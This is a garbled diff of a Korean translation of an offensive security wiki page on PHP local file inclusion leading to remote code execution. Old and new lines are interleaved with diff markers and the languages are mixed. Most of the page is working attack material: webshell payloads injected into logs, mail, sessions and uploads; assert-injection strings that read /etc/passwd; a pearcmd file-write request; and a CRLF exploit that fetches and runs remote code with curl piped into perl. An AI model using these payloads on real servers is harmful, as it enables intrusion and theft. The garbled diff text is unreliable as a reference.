웹 애플리케이션이 파일 로딩에 `include` 같은 함수를 사용할 때 `.phar` 파일을 이용해 PHP 코드를 실행할 수 있다. 아래 PHP 코드 스니펫은 `.phar` 파일 생성 방법을 보여준다:
|
||||
```php
|
||||
<?php
|
||||
$phar = new Phar('test.phar');
|
||||
@ -354,94 +354,95 @@ $phar->addFromString('test.txt', 'text');
|
||||
$phar->setStub('<?php __HALT_COMPILER(); system("ls"); ?>');
|
||||
$phar->stopBuffering();
|
||||
```
|
||||
`.phar` 파일을 컴파일하려면 다음 명령어를 실행해야 합니다:
|
||||
`.phar` 파일을 컴파일하려면 다음 명령을 실행해야 합니다:
|
||||
```bash
|
||||
php --define phar.readonly=0 create_path.php
|
||||
```
|
||||
실행 시 `test.phar`라는 파일이 생성되며, 이는 Local File Inclusion (LFI) 취약점을 악용하는 데 사용될 수 있습니다.
|
||||
실행하면 `test.phar`라는 파일이 생성되며, 이는 Local File Inclusion (LFI) 취약점을 악용하는 데 사용될 수 있습니다.
|
||||
|
||||
LFI가 PHP 코드 실행 없이 파일 읽기만 수행하는 경우, `file_get_contents()`, `fopen()`, `file()`, `file_exists()`, `md5_file()`, `filemtime()`, 또는 `filesize()`와 같은 함수를 통해 역직렬화 취약점을 악용할 수 있습니다. 이 취약점은 `phar` 프로토콜을 사용하여 파일을 읽는 것과 관련이 있습니다.
|
||||
LFI가 PHP 코드 실행 없이 파일을 읽기만 하는 경우(예: `file_get_contents()`, `fopen()`, `file()`, `file_exists()`, `md5_file()`, `filemtime()`, `filesize()` 등), phar 프로토콜을 통한 파일 읽기와 관련된 deserialization vulnerability를 이용해 공격을 시도할 수 있습니다.
|
||||
|
||||
`.phar` 파일의 역직렬화 취약점을 악용하는 방법에 대한 자세한 내용은 아래 링크된 문서를 참조하십시오:
|
||||
For a detailed understanding of exploiting deserialization vulnerabilities in the context of `.phar` files, refer to the document linked below:
|
||||
|
||||
[Phar Deserialization Exploitation Guide](phar-deserialization.md)
|
||||
|
||||
|
||||
{{#ref}}
|
||||
phar-deserialization.md
|
||||
{{#endref}}
|
||||
|
||||
### CVE-2024-2961
|
||||
|
||||
**php 필터를 지원하는 임의의 파일을 PHP에서 읽는 것을 악용하여 RCE를 얻는 것이 가능했습니다.** 자세한 설명은 [**이 게시물에서 확인할 수 있습니다**](https://www.ambionics.io/blog/iconv-cve-2024-2961-p1)**.**\
|
||||
간단한 요약: PHP 힙에서 **3 바이트 오버플로우**가 악용되어 **특정 크기의 자유 청크 체인을 변경**하여 **어떤 주소에든 쓸 수 있게** 되었고, 그래서 **`system`**을 호출하는 후크가 추가되었습니다.\
|
||||
더 많은 PHP 필터를 악용하여 특정 크기의 청크를 할당할 수 있었습니다.
|
||||
php filters를 지원하는 PHP에서의 **any arbitrary file read from PHP that supports php filters**를 악용하면 RCE를 얻을 수 있었습니다. The detailed description can be [**found in this post**](https://www.ambionics.io/blog/iconv-cve-2024-2961-p1)**.**\
|
||||
간단 요약: PHP 힙의 **3 byte overflow**를 악용해 특정 크기의 free chunks 체인을 **alter the chain of free chunks**하여 임의 주소에 **write anything in any address**할 수 있게 했고, **`system`**을 호출하는 훅을 추가했습니다.\
|
||||
추가적인 php filters를 악용해 특정 크기의 청크를 alloc하는 것이 가능했습니다.
|
||||
|
||||
### More protocols
|
||||
|
||||
여기에서 포함할 수 있는 더 많은 [**프로토콜을 확인하십시오**](https://www.php.net/manual/en/wrappers.php)**:**
|
||||
다음에서 더 많은 가능한[ **protocols to include here**](https://www.php.net/manual/en/wrappers.php)**을 확인하세요:**
|
||||
|
||||
- [php://memory and php://temp](https://www.php.net/manual/en/wrappers.php.php#wrappers.php.memory) — 메모리 또는 임시 파일에 쓰기 (파일 포함 공격에서 어떻게 유용할 수 있는지 확실하지 않음)
|
||||
- [file://](https://www.php.net/manual/en/wrappers.file.php) — 로컬 파일 시스템 접근
|
||||
- [php://memory and php://temp](https://www.php.net/manual/en/wrappers.php.php#wrappers.php.memory) — 메모리나 임시 파일에 쓰기 (file inclusion attack에서 어떻게 유용할지 확실치 않음)
|
||||
- [file://](https://www.php.net/manual/en/wrappers.file.php) — 로컬 파일시스템 접근
|
||||
- [http://](https://www.php.net/manual/en/wrappers.http.php) — HTTP(s) URL 접근
|
||||
- [ftp://](https://www.php.net/manual/en/wrappers.ftp.php) — FTP(s) URL 접근
|
||||
- [zlib://](https://www.php.net/manual/en/wrappers.compression.php) — 압축 스트림
|
||||
- [glob://](https://www.php.net/manual/en/wrappers.glob.php) — 패턴과 일치하는 경로 이름 찾기 (인쇄 가능한 것을 반환하지 않으므로 여기서는 그다지 유용하지 않음)
|
||||
- [glob://](https://www.php.net/manual/en/wrappers.glob.php) — 패턴에 일치하는 경로명 찾기 (출력 가능한 내용을 반환하지 않아 여기서는 별로 유용하지 않음)
|
||||
- [ssh2://](https://www.php.net/manual/en/wrappers.ssh2.php) — Secure Shell 2
|
||||
- [ogg://](https://www.php.net/manual/en/wrappers.audio.php) — 오디오 스트림 (임의 파일 읽기에 유용하지 않음)
|
||||
|
||||
## LFI via PHP's 'assert'
|
||||
|
||||
PHP의 'assert' 함수는 문자열 내에서 코드를 실행할 수 있어 Local File Inclusion (LFI) 위험이 특히 높습니다. 입력에 ".."와 같은 디렉토리 탐색 문자가 포함되어 있지만 적절하게 정리되지 않는 경우 특히 문제가 됩니다.
|
||||
PHP에서 'assert' 함수는 문자열 내의 코드를 실행할 수 있으므로 Local File Inclusion (LFI) 위험이 특히 큽니다. 특히 ".." 같은 디렉토리 트래버설 문자가 포함된 입력을 검사만 하고 제대로 정제하지 않으면 문제가 됩니다.
|
||||
|
||||
예를 들어, PHP 코드는 다음과 같이 디렉토리 탐색을 방지하도록 설계될 수 있습니다:
|
||||
For example, PHP code might be designed to prevent directory traversal like so:
|
||||
```bash
|
||||
assert("strpos('$file', '..') === false") or die("");
|
||||
```
|
||||
이것은 탐색을 중단하는 것을 목표로 하지만, 의도치 않게 코드 주입을 위한 벡터를 생성합니다. 파일 내용을 읽기 위해 이를 악용하려는 공격자는 다음을 사용할 수 있습니다:
|
||||
이것은 traversal을 막으려는 의도이지만, 의도치 않게 code injection을 위한 벡터를 만듭니다. 파일 내용을 읽기 위해 이를 악용하려면 공격자는 다음을 사용할 수 있습니다:
|
||||
```plaintext
|
||||
' and die(highlight_file('/etc/passwd')) or '
|
||||
```
|
||||
마찬가지로, 임의의 시스템 명령을 실행하기 위해서는 다음을 사용할 수 있습니다:
|
||||
마찬가지로, arbitrary system commands 실행을 위해 다음을 사용할 수 있습니다:
|
||||
```plaintext
|
||||
' and die(system("id")) or '
|
||||
```
|
||||
중요한 것은 **이 페이로드를 URL 인코딩하는 것**입니다.
|
||||
It's important to **URL-encode these payloads**.
|
||||
|
||||
## PHP 블라인드 경로 탐색
|
||||
## PHP Blind Path Traversal
|
||||
|
||||
> [!WARNING]
|
||||
> 이 기술은 **PHP 함수**의 **파일 경로**를 **제어**할 수 있는 경우에 관련이 있으며, 이 함수는 **파일에 접근**하지만 파일의 내용을 볼 수는 없습니다(예: **`file()`**에 대한 간단한 호출처럼) 내용이 표시되지 않습니다.
|
||||
> 이 기법은 당신이 **파일 경로**를 **제어**할 수 있고, 해당 경로를 통해 **PHP 함수**가 **파일에 접근**하지만 파일의 내용은 보이지 않는 경우(예: 단순한 **`file()`** 호출처럼)와 관련이 있습니다.
|
||||
|
||||
[**이 놀라운 게시물**](https://www.synacktiv.com/en/publications/php-filter-chains-file-read-from-error-based-oracle.html)에서는 블라인드 경로 탐색이 PHP 필터를 통해 **오류 오라클을 통해 파일의 내용을 유출하는 방법**이 설명되어 있습니다.
|
||||
In [**this incredible post**](https://www.synacktiv.com/en/publications/php-filter-chains-file-read-from-error-based-oracle.html) it's explained how a blind path traversal can be abused via PHP filter to **exfiltrate the content of a file via an error oracle**.
|
||||
|
||||
요약하자면, 이 기술은 **"UCS-4LE" 인코딩**을 사용하여 파일의 내용을 **너무 크게** 만들어 **PHP 함수가 파일을 열 때** **오류**를 발생시킵니다.
|
||||
요약하자면, 이 기법은 파일의 내용을 매우 **큰** 상태로 만들기 위해 **"UCS-4LE" encoding**을 사용하여 해당 파일을 여는 **PHP 함수**가 **error**를 발생시키게 하는 방식입니다.
|
||||
|
||||
그런 다음, 첫 번째 문자를 유출하기 위해 필터 **`dechunk`**가 사용되며, **base64** 또는 **rot13**와 같은 다른 필터와 함께 사용되고, 마지막으로 필터 **convert.iconv.UCS-4.UCS-4LE**와 **convert.iconv.UTF16.UTF-16BE**가 사용되어 **다른 문자를 시작 부분에 배치하고 유출합니다**.
|
||||
그 다음, 첫 문자를 leak 하기 위해 필터 **`dechunk`**를 다른 필터들(예: **base64**, **rot13**)과 함께 사용하고, 마지막으로 필터 **convert.iconv.UCS-4.UCS-4LE** 및 **convert.iconv.UTF16.UTF-16BE**를 사용하여 **다른 문자들을 맨 앞에 배치하고 그것들을 leak**합니다.
|
||||
|
||||
**취약할 수 있는 함수**: `file_get_contents`, `readfile`, `finfo->file`, `getimagesize`, `md5_file`, `sha1_file`, `hash_file`, `file`, `parse_ini_file`, `copy`, `file_put_contents (이것으로만 읽기 전용 대상)`, `stream_get_contents`, `fgets`, `fread`, `fgetc`, `fgetcsv`, `fpassthru`, `fputs`
|
||||
**Functions that might be vulnerable**: `file_get_contents`, `readfile`, `finfo->file`, `getimagesize`, `md5_file`, `sha1_file`, `hash_file`, `file`, `parse_ini_file`, `copy`, `file_put_contents (only target read only with this)`, `stream_get_contents`, `fgets`, `fread`, `fgetc`, `fgetcsv`, `fpassthru`, `fputs`
|
||||
|
||||
기술적 세부사항은 언급된 게시물을 확인하세요!
|
||||
기술적 세부사항은 언급된 포스트를 확인하세요!
|
||||
|
||||
## LFI2RCE
|
||||
|
||||
### 경로 탐색을 통한 임의 파일 쓰기 (웹쉘 RCE)
|
||||
### Arbitrary File Write via Path Traversal (Webshell RCE)
|
||||
|
||||
서버 측 코드가 파일을 수집/업로드할 때 사용자 제어 데이터를 사용하여 목적지 경로를 생성하고 이를 정규화하거나 검증하지 않으면 `..` 세그먼트와 절대 경로가 의도된 디렉토리를 벗어나 임의 파일 쓰기를 유발할 수 있습니다. 웹에 노출된 디렉토리 아래에 페이로드를 배치할 수 있다면, 일반적으로 웹쉘을 떨어뜨려 인증되지 않은 RCE를 얻습니다.
|
||||
서버 측 코드가 파일을 수집/업로드할 때 대상 경로를 사용자 제어 데이터(예: filename 또는 URL)를 사용해 canonicalise 및 검증 없이 조합하면, `..` 세그먼트나 절대 경로가 의도한 디렉터리를 탈출하여 임의 파일 쓰기가 발생할 수 있습니다. 페이로드를 웹 노출 디렉터리에 배치할 수 있다면, 보통 webshell을 떨어뜨려 인증되지 않은 RCE를 얻을 수 있습니다.
|
||||
|
||||
전형적인 악용 워크플로우:
|
||||
- 경로/파일 이름을 수락하고 디스크에 내용을 쓰는 엔드포인트 또는 백그라운드 작업에서 쓰기 원시 기능을 식별합니다(예: 메시지 기반 수집, XML/JSON 명령 처리기, ZIP 추출기 등).
|
||||
- 웹에 노출된 디렉토리를 결정합니다. 일반적인 예:
|
||||
Typical exploitation workflow:
|
||||
- 경로/파일명을 받아 디스크에 내용을 쓰는 write primitive를 제공하는 endpoint나 background worker를 식별합니다(예: message-driven ingestion, XML/JSON command handlers, ZIP extractors 등).
|
||||
- web-exposed 디렉터리를 파악합니다. 일반적인 예:
|
||||
- Apache/PHP: `/var/www/html/`
|
||||
- Tomcat/Jetty: `<tomcat>/webapps/ROOT/` → `shell.jsp` 배포
|
||||
- IIS: `C:\inetpub\wwwroot\` → `shell.aspx` 배포
|
||||
- 의도된 저장 디렉토리를 벗어나 웹 루트로 나가는 탐색 경로를 작성하고 웹쉘 내용을 포함합니다.
|
||||
- 배포된 페이로드로 이동하여 명령을 실행합니다.
|
||||
- Tomcat/Jetty: `<tomcat>/webapps/ROOT/` → drop `shell.jsp`
|
||||
- IIS: `C:\inetpub\wwwroot\` → drop `shell.aspx`
|
||||
- 의도된 저장 디렉터리에서 webroot로 벗어나게 하는 traversal 경로를 만들어 webshell 내용을 포함시킵니다.
|
||||
- 배포된 페이로드에 접속하여 명령을 실행합니다.
|
||||
|
||||
노트:
|
||||
- 쓰기를 수행하는 취약한 서비스는 비HTTP 포트에서 수신할 수 있습니다(예: TCP 4004에서 JMF XML 리스너). 나중에 주요 웹 포털(다른 포트)이 페이로드를 제공합니다.
|
||||
- Java 스택에서는 이러한 파일 쓰기가 종종 간단한 `File`/`Paths` 연결로 구현됩니다. 정규화/허용 목록 부족이 핵심 결함입니다.
|
||||
Notes:
|
||||
- 파일 쓰기를 수행하는 취약 서비스는 비-HTTP 포트에서 리스닝할 수 있습니다(예: TCP 4004의 JMF XML 리스너). 메인 웹 포털(다른 포트)이 나중에 당신의 페이로드를 제공할 것입니다.
|
||||
- Java 스택에서는 이러한 파일 쓰기가 종종 단순한 `File`/`Paths` 연결로 구현됩니다. canonicalisation/allow-listing의 부재가 핵심 결함입니다.
|
||||
|
||||
일반적인 XML/JMF 스타일 예제(제품 스키마는 다를 수 있으며 – DOCTYPE/본문 래퍼는 탐색에 무관합니다):
|
||||
Generic XML/JMF-style example (product schemas vary – the DOCTYPE/body wrapper is irrelevant for the traversal):
|
||||
```xml
|
||||
<?xml version="1.0" encoding="UTF-8"?>
|
||||
<JMF SenderID="hacktricks" Version="1.3">
|
||||
@ -465,25 +466,25 @@ in.transferTo(out);
|
||||
</Command>
|
||||
</JMF>
|
||||
```
|
||||
이 버그 클래스를 무력화하는 강화 방법:
|
||||
- 정규 경로로 해결하고 허용 목록에 있는 기본 디렉토리의 하위 경로인지 확인합니다.
|
||||
- `..`, 절대 루트 또는 드라이브 문자가 포함된 경로를 거부하고 생성된 파일 이름을 선호합니다.
|
||||
- 작성자를 낮은 권한의 계정으로 실행하고 쓰기 디렉토리를 제공된 루트와 분리합니다.
|
||||
이 유형의 버그를 막는 보안 강화:
|
||||
- 정규화된 경로(canonical path)로 해석하고 허용 목록에 등록된 기준 디렉터리의 하위인지 강제하세요.
|
||||
- `..`, 절대 루트, 또는 드라이브 문자를 포함하는 경로는 거부하세요; 생성된 파일명(prefer generated filenames) 사용을 권장합니다.
|
||||
- writer를 권한이 낮은 계정으로 실행하고 쓰기 디렉터리를 서비스 루트와 분리하세요.
|
||||
|
||||
## 원격 파일 포함
|
||||
## Remote File Inclusion
|
||||
|
||||
이전에 설명된 내용, [**이 링크를 따르세요**](#remote-file-inclusion).
|
||||
앞에서 설명됨, [**follow this link**](#remote-file-inclusion).
|
||||
|
||||
### Apache/Nginx 로그 파일을 통한
|
||||
### Via Apache/Nginx log file
|
||||
|
||||
Apache 또는 Nginx 서버가 포함 함수 내에서 **LFI에 취약**하다면 **`/var/log/apache2/access.log` 또는 `/var/log/nginx/access.log`**에 접근을 시도할 수 있습니다. **user agent** 또는 **GET 매개변수** 내에 php 쉘인 **`<?php system($_GET['c']); ?>`**를 설정하고 해당 파일을 포함합니다.
|
||||
Apache 또는 Nginx 서버가 **vulnerable to LFI** 이고 include 함수 내부에서 취약점이 있다면 **`/var/log/apache2/access.log` 또는 `/var/log/nginx/access.log`** 에 접근을 시도할 수 있습니다. **user agent** 또는 **GET parameter** 안에 **`<?php system($_GET['c']); ?>`** 같은 php shell을 넣고 그 파일을 include 하세요.
|
||||
|
||||
> [!WARNING]
|
||||
> 쉘에 대해 **단일 인용부호** 대신 **이중 인용부호**를 사용하면 이중 인용부호가 "_**quote;**_" 문자열로 수정되므로, **PHP는 오류를 발생**시키고 **다른 것은 실행되지 않습니다**.
|
||||
> **만약 shell에 대해 double quotes를 사용하면** simple quotes 대신 들어간 double quotes가 문자열 "_**quote;**_"로 변형되어 **PHP가 에러를 발생시키며** 아무 것도 실행되지 않습니다.
|
||||
>
|
||||
> 또한, **페이로드를 올바르게 작성**해야 하며, 그렇지 않으면 PHP가 로그 파일을 로드하려고 할 때마다 오류가 발생하고 두 번째 기회를 얻지 못합니다.
|
||||
> 또한, 페이로드를 **정확히 작성**해야 합니다. 그렇지 않으면 PHP가 로그 파일을 로드할 때마다 에러가 나고 두 번째 기회를 얻지 못할 수 있습니다.
|
||||
|
||||
이 작업은 다른 로그에서도 수행할 수 있지만 **주의하세요.** 로그 내의 코드는 URL 인코딩될 수 있으며, 이는 쉘을 파괴할 수 있습니다. 헤더 **authorisation "basic"**는 Base64로 "user:password"를 포함하며, 로그 내에서 디코딩됩니다. PHPShell은 이 헤더 내에 삽입될 수 있습니다.\
|
||||
이 방법은 다른 로그에서도 가능하지만 **주의하세요,** 로그 안의 코드는 URL 인코딩되어 있을 수 있으며 이로 인해 Shell이 깨질 수 있습니다. 헤더 **authorisation "basic"** 는 Base64로 인코딩된 "user:password" 를 포함하며 로그 안에서 디코드됩니다. PHPShell은 이 헤더 안에 삽입될 수 있습니다.\
|
||||
다른 가능한 로그 경로:
|
||||
```python
|
||||
/var/log/apache2/access.log
|
||||
@ -498,129 +499,124 @@ Apache 또는 Nginx 서버가 포함 함수 내에서 **LFI에 취약**하다면
|
||||
```
|
||||
Fuzzing wordlist: [https://github.com/danielmiessler/SecLists/tree/master/Fuzzing/LFI](https://github.com/danielmiessler/SecLists/tree/master/Fuzzing/LFI)
|
||||
|
||||
### 이메일을 통한 방법
|
||||
### 이메일을 통해
|
||||
|
||||
**내부 계정(user@localhost)으로 메일을 보내고** PHP 페이로드를 포함시킵니다. 예: `<?php echo system($_REQUEST["cmd"]); ?>` 그리고 **`/var/mail/<USERNAME>`** 또는 **`/var/spool/mail/<USERNAME>`** 경로를 사용하여 사용자의 메일에 포함시키도록 시도합니다.
|
||||
**메일을 보내기**: 내부 계정 (user@localhost)으로 `<?php echo system($_REQUEST["cmd"]); ?>` 같은 PHP payload를 포함한 메일을 보내고, 사용자 메일을 **`/var/mail/<USERNAME>`** 또는 **`/var/spool/mail/<USERNAME>`** 경로로 include해 보세요.
|
||||
|
||||
### /proc/\*/fd/\*를 통한 방법
|
||||
### /proc/\*/fd/\*를 통해
|
||||
|
||||
1. 많은 쉘을 업로드합니다 (예: 100개)
|
||||
2. [http://example.com/index.php?page=/proc/$PID/fd/$FD](http://example.com/index.php?page=/proc/$PID/fd/$FD)를 포함시킵니다. 여기서 $PID는 프로세스의 PID(무작위로 추측 가능)이고, $FD는 파일 디스크립터(무작위로 추측 가능)입니다.
|
||||
1. 많은 shells(예: 100개)을 업로드하세요.
|
||||
2. Include [http://example.com/index.php?page=/proc/$PID/fd/$FD](http://example.com/index.php?page=/proc/$PID/fd/$FD), 여기서 $PID = 프로세스의 PID (can be brute forced)이고 $FD는 파일 디스크립터(또한 can be brute forced)입니다.
|
||||
|
||||
### /proc/self/environ을 통한 방법
|
||||
### /proc/self/environ을 통해
|
||||
|
||||
로그 파일처럼, User-Agent에 페이로드를 보내면 /proc/self/environ 파일 내에 반영됩니다.
|
||||
로그 파일처럼, User-Agent에 페이로드를 담아 보내면 /proc/self/environ 파일 안에 반영됩니다.
|
||||
```
|
||||
GET vulnerable.php?filename=../../../proc/self/environ HTTP/1.1
|
||||
User-Agent: <?=phpinfo(); ?>
|
||||
```
|
||||
### 업로드를 통한 방법
|
||||
### Via upload
|
||||
|
||||
파일을 업로드할 수 있다면, 그 안에 쉘 페이로드를 주입하세요 (예: `<?php system($_GET['c']); ?>`).
|
||||
파일을 업로드할 수 있다면, 그 파일에 shell payload를 주입하면 됩니다 (예: `<?php system($_GET['c']); ?>`).
|
||||
```
|
||||
http://example.com/index.php?page=path/to/uploaded/file.png
|
||||
```
|
||||
파일을 읽기 쉽게 유지하기 위해서는 사진/doc/pdf의 메타데이터에 주입하는 것이 가장 좋습니다.
|
||||
파일을 읽기 쉽게 유지하려면 이미지/doc/pdf의 메타데이터에 주입하는 것이 가장 좋습니다
|
||||
|
||||
### Zip 파일 업로드를 통해
|
||||
### ZIP 파일 업로드를 통해
|
||||
|
||||
PHP 셸이 압축된 ZIP 파일을 업로드하고 접근합니다:
|
||||
압축된 PHP shell을 포함한 ZIP 파일을 업로드하고 접근:
|
||||
```python
|
||||
example.com/page.php?file=zip://path/to/zip/hello.zip%23rce.php
|
||||
```
|
||||
### Via PHP sessions
|
||||
### PHP sessions를 통해
|
||||
|
||||
웹사이트가 PHP 세션(PHPSESSID)을 사용하는지 확인하세요.
|
||||
웹사이트가 PHP Session (PHPSESSID)을 사용하는지 확인하세요
|
||||
```
|
||||
Set-Cookie: PHPSESSID=i56kgbsq9rm8ndg3qbarhsbm27; path=/
|
||||
Set-Cookie: user=admin; expires=Mon, 13-Aug-2018 20:21:29 GMT; path=/; httponly
|
||||
```
|
||||
PHP에서는 이러한 세션이 _/var/lib/php5/sess\\_\[PHPSESSID]\_ 파일에 저장됩니다.
|
||||
PHP에서는 이러한 세션이 _/var/lib/php5/sess\\_\[PHPSESSID]\_ 파일에 저장됩니다
|
||||
```
|
||||
/var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm27.
|
||||
user_ip|s:0:"";loggedin|s:0:"";lang|s:9:"en_us.php";win_lin|s:0:"";user|s:6:"admin";pass|s:6:"admin";
|
||||
```
|
||||
쿠키를 `<?php system('cat /etc/passwd');?>`로 설정하세요.
|
||||
cookie를 다음 값으로 설정하세요: `<?php system('cat /etc/passwd');?>`
|
||||
```
|
||||
login=1&user=<?php system("cat /etc/passwd");?>&pass=password&lang=en_us.php
|
||||
```
|
||||
PHP 세션 파일을 포함하기 위해 LFI를 사용하세요.
|
||||
LFI를 사용하여 PHP session 파일을 포함하세요
|
||||
```
|
||||
login=1&user=admin&pass=password&lang=/../../../../../../../../../var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm2
|
||||
```
|
||||
### Via ssh
|
||||
### ssh를 통해
|
||||
|
||||
ssh가 활성화되어 있으면 어떤 사용자가 사용되고 있는지 확인하십시오 (/proc/self/status & /etc/passwd) 그리고 **\<HOME>/.ssh/id_rsa**에 접근해 보십시오.
|
||||
ssh가 활성화되어 있다면 어떤 사용자가 사용되는지 확인하세요 (/proc/self/status & /etc/passwd) 그리고 **\<HOME>/.ssh/id_rsa**에 접근을 시도해보세요
|
||||
|
||||
### **Via** **vsftpd** _**logs**_
|
||||
### **를 통해** **vsftpd** _**logs**_
|
||||
|
||||
FTP 서버 vsftpd의 로그는 _**/var/log/vsftpd.log**_에 위치합니다. Local File Inclusion (LFI) 취약점이 존재하고 노출된 vsftpd 서버에 접근할 수 있는 시나리오에서는 다음 단계를 고려할 수 있습니다:
|
||||
FTP 서버 vsftpd의 로그는 _**/var/log/vsftpd.log**_에 위치합니다. Local File Inclusion (LFI) 취약점이 존재하고 노출된 vsftpd 서버에 접근할 수 있는 경우, 다음 단계를 고려할 수 있습니다:
|
||||
|
||||
1. 로그인 과정에서 사용자 이름 필드에 PHP 페이로드를 주입합니다.
|
||||
2. 주입 후, LFI를 이용하여 _**/var/log/vsftpd.log**_에서 서버 로그를 검색합니다.
|
||||
1. 로그인 과정에서 username 필드에 PHP payload를 주입합니다.
|
||||
2. 주입 후에는 LFI를 이용해 _**/var/log/vsftpd.log**_에서 서버 로그를 불러옵니다.
|
||||
|
||||
### Via php base64 filter (using base64)
|
||||
### php base64 filter (using base64)를 통해
|
||||
|
||||
[이](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64) 기사에서 보여준 것처럼, PHP base64 필터는 Non-base64를 무시합니다. 이를 사용하여 파일 확장자 검사를 우회할 수 있습니다: ".php"로 끝나는 base64를 제공하면, 단순히 "."를 무시하고 "php"를 base64에 추가합니다. 다음은 예시 페이로드입니다:
|
||||
As shown in [this](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64) article, PHP base64 filter just ignore Non-base64. 이를 이용해 파일 확장자 검사를 우회할 수 있습니다: base64가 ".php"로 끝나도록 공급하면, 필터는 "."를 무시하고 "php"를 base64에 추가합니다. 예시 payload는 다음과 같습니다:
|
||||
```url
|
||||
http://example.com/index.php?page=PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.php
|
||||
|
||||
NOTE: the payload is "<?php system($_GET['cmd']);echo 'Shell done !'; ?>"
|
||||
```
|
||||
### Via php filters (no file needed)
|
||||
|
||||
이 [**writeup** ](https://gist.github.com/loknop/b27422d355ea1fd0d90d6dbc1e278d4d)는 **php 필터를 사용하여 임의의 콘텐츠**를 출력으로 생성할 수 있음을 설명합니다. 이는 기본적으로 **파일에 작성할 필요 없이 임의의 php 코드를 생성**할 수 있음을 의미합니다.
|
||||
### php filters를 통한 방법 (파일 불필요)
|
||||
|
||||
이 [**writeup**](https://gist.github.com/loknop/b27422d355ea1fd0d90d6dbc1e278d4d)는 **php filters를 사용해 임의의 콘텐츠를 출력으로 생성할 수 있다**고 설명합니다. 요컨대, 파일로 작성하지 않고도 include에 사용할 **임의의 php code를 생성할 수 있다**는 뜻입니다.
|
||||
|
||||
{{#ref}}
|
||||
lfi2rce-via-php-filters.md
|
||||
{{#endref}}
|
||||
|
||||
### Via segmentation fault
|
||||
|
||||
**파일을 업로드**하여 `/tmp`에 **임시로** 저장한 다음, **같은 요청에서** **세그멘테이션 오류**를 발생시키면 **임시 파일이 삭제되지 않고** 이를 검색할 수 있습니다.
|
||||
### segmentation fault를 통한 방법
|
||||
|
||||
파일을 **업로드**하면 `/tmp`에 **임시**로 저장됩니다. 같은 **요청에서** **segmentation fault**를 발생시키면 해당 **임시 파일이 삭제되지 않으며** 이를 찾아볼 수 있습니다.
|
||||
|
||||
{{#ref}}
|
||||
lfi2rce-via-segmentation-fault.md
|
||||
{{#endref}}
|
||||
|
||||
### Via Nginx temp file storage
|
||||
|
||||
**로컬 파일 포함**을 발견하고 **Nginx**가 PHP 앞에서 실행되고 있다면 다음 기술로 RCE를 얻을 수 있습니다:
|
||||
### Nginx temp file storage를 통한 방법
|
||||
|
||||
**Local File Inclusion**를 발견했고 **Nginx**가 PHP 앞단에서 동작한다면 다음 기법으로 **RCE**를 얻을 수 있습니다:
|
||||
|
||||
{{#ref}}
|
||||
lfi2rce-via-nginx-temp-files.md
|
||||
{{#endref}}
|
||||
|
||||
### Via PHP_SESSION_UPLOAD_PROGRESS
|
||||
|
||||
**로컬 파일 포함**을 발견했더라도 **세션이 없고** `session.auto_start`가 `Off`인 경우, **`PHP_SESSION_UPLOAD_PROGRESS`**를 **multipart POST** 데이터에 제공하면 PHP가 **세션을 활성화**합니다. 이를 악용하여 RCE를 얻을 수 있습니다:
|
||||
### PHP_SESSION_UPLOAD_PROGRESS를 통한 방법
|
||||
|
||||
세션이 없고 `session.auto_start`가 `Off`인 경우에도 **Local File Inclusion**를 발견했다면, multipart POST 데이터에 **`PHP_SESSION_UPLOAD_PROGRESS`**를 포함하면 PHP가 **세션을 활성화**합니다. 이를 악용해 **RCE**를 얻을 수 있습니다:
|
||||
|
||||
{{#ref}}
|
||||
via-php_session_upload_progress.md
|
||||
{{#endref}}
|
||||
|
||||
### Via temp file uploads in Windows
|
||||
|
||||
**로컬 파일 포함**을 발견하고 서버가 **Windows**에서 실행되고 있다면 RCE를 얻을 수 있습니다:
|
||||
### Windows에서의 temp file uploads를 통한 방법
|
||||
|
||||
**Local File Inclusion**를 발견했고 서버가 **Windows**에서 동작한다면 RCE를 얻을 수 있습니다:
|
||||
|
||||
{{#ref}}
|
||||
lfi2rce-via-temp-file-uploads.md
|
||||
{{#endref}}
|
||||
|
||||
### Via `pearcmd.php` + URL args
|
||||
### `pearcmd.php` + URL args를 통한 방법
|
||||
|
||||
[**이 게시물에서 설명된 바와 같이**](https://www.leavesongs.com/PENETRATION/docker-php-include-getshell.html#0x06-pearcmdphp), 스크립트 `/usr/local/lib/phppearcmd.php`는 php 도커 이미지에서 기본적으로 존재합니다. 또한, URL을 통해 스크립트에 인수를 전달할 수 있는 가능성이 있으며, URL 매개변수에 `=`가 없으면 인수로 사용해야 한다고 명시되어 있습니다.
|
||||
이 글에서 [**explained in this post**](https://www.leavesongs.com/PENETRATION/docker-php-include-getshell.html#0x06-pearcmdphp)와 같이, `/usr/local/lib/phppearcmd.php` 스크립트는 php docker images에 기본으로 존재합니다. 또한 URL 파라미터에 `=`가 없으면 그 파라미터가 인수로 사용된다고 되어 있어, URL을 통해 스크립트에 인자를 전달할 수 있습니다. 또한 [watchTowr’s write-up](https://labs.watchtowr.com/form-tools-we-need-to-talk-about-php/)과 [Orange Tsai’s “Confusion Attacks”](https://blog.orange.tw/posts/2024-08-confusion-attacks-en/)도 참고하세요.
|
||||
|
||||
다음 요청은 `/tmp/hello.php`에 `<?=phpinfo()?>`라는 내용을 가진 파일을 생성합니다:
|
||||
다음 요청은 `/tmp/hello.php`에 `<?=phpinfo()?>` 내용을 가진 파일을 생성합니다:
|
||||
```bash
|
||||
GET /index.php?+config-create+/&file=/usr/local/lib/php/pearcmd.php&/<?=phpinfo()?>+/tmp/hello.php HTTP/1.1
|
||||
```
|
||||
다음은 CRLF 취약점을 악용하여 RCE를 얻는 방법입니다 (자세한 내용은 [**여기**](https://blog.orange.tw/2024/08/confusion-attacks-en.html?m=1)에서 확인하세요):
|
||||
다음은 CRLF vuln을 악용하여 RCE를 얻는 예제입니다 (출처: [**here**](https://blog.orange.tw/2024/08/confusion-attacks-en.html?m=1)):
|
||||
```
|
||||
http://server/cgi-bin/redir.cgi?r=http:// %0d%0a
|
||||
Location:/ooo? %2b run-tests %2b -ui %2b $(curl${IFS}orange.tw/x|perl) %2b alltests.php %0d%0a
|
||||
@ -629,7 +625,7 @@ Content-Type:proxy:unix:/run/php/php-fpm.sock|fcgi://127.0.0.1/usr/local/lib/php
|
||||
```
|
||||
### Via phpinfo() (file_uploads = on)
|
||||
|
